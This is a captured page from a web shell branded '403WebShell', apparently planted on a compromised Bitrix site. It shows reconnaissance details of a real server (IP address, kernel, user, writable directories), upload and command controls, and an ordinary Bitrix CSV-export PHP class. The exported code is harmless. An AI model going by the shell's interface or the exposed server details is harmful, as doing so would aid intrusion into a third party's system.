%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.144.248.122
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sender/lib/internals/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sender/lib/internals/dataexport.php
<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage sender
 * @copyright 2001-2012 Bitrix
 */
namespace Bitrix\Sender\Internals;

use Bitrix\Main\DB\Result;

/**
 * Class DataExport
 * @package Bitrix\Sender\Internals
 */
class DataExport
{
	/**
	 * Export to csv.
	 *
	 * @param array $columns Columns.
	 * @param array|Result $list Data list.
	 * @param callable|null $rowCallback Row callback.
	 * @return void
	 */
	public static function toCsv(array $columns, $list, $rowCallback = null)
	{
		self::flushHeaders();

		$eol = "\n";
		$columnNames = [];
		$isFirstLinePrinted = false;

		if (defined('BX_UTF') && BX_UTF)
		{
			echo chr(239) . chr(187) . chr(191);
		}

		foreach ($list as $item)
		{
			if ($rowCallback)
			{
				$item = call_user_func_array($rowCallback, [$item]);
			}

			$row = [];
			foreach ($columns as $column)
			{
				if (!array_key_exists($column['id'], $item))
				{
					continue;
				}

				if (!$isFirstLinePrinted)
				{
					$columnNames[] = str_replace('"', '""', $column['name']);
				}

				$row[] = str_replace('"', '""', trim($item[$column['id']]));
			}

			if (!$isFirstLinePrinted)
			{
				echo '"' . implode('";"', $columnNames) . '"';
				$isFirstLinePrinted = true;
			}
			echo $eol;
			echo '"' . implode('";"', $row) . '"';
		}

		exit;
	}

	protected static function flushHeaders()
	{
		/** @var $GLOBALS['APPLICATION'] \CAllMain */
		$GLOBALS['APPLICATION']->RestartBuffer();

		header('Content-Description: File Transfer');
		header('Content-Type: text/csv; charset='.LANG_CHARSET);
		header('Content-Disposition: attachment; filename=address_list.csv');
		header('Content-Transfer-Encoding: binary');
		header('Expires: 0');
		header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
		header('Pragma: public');
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit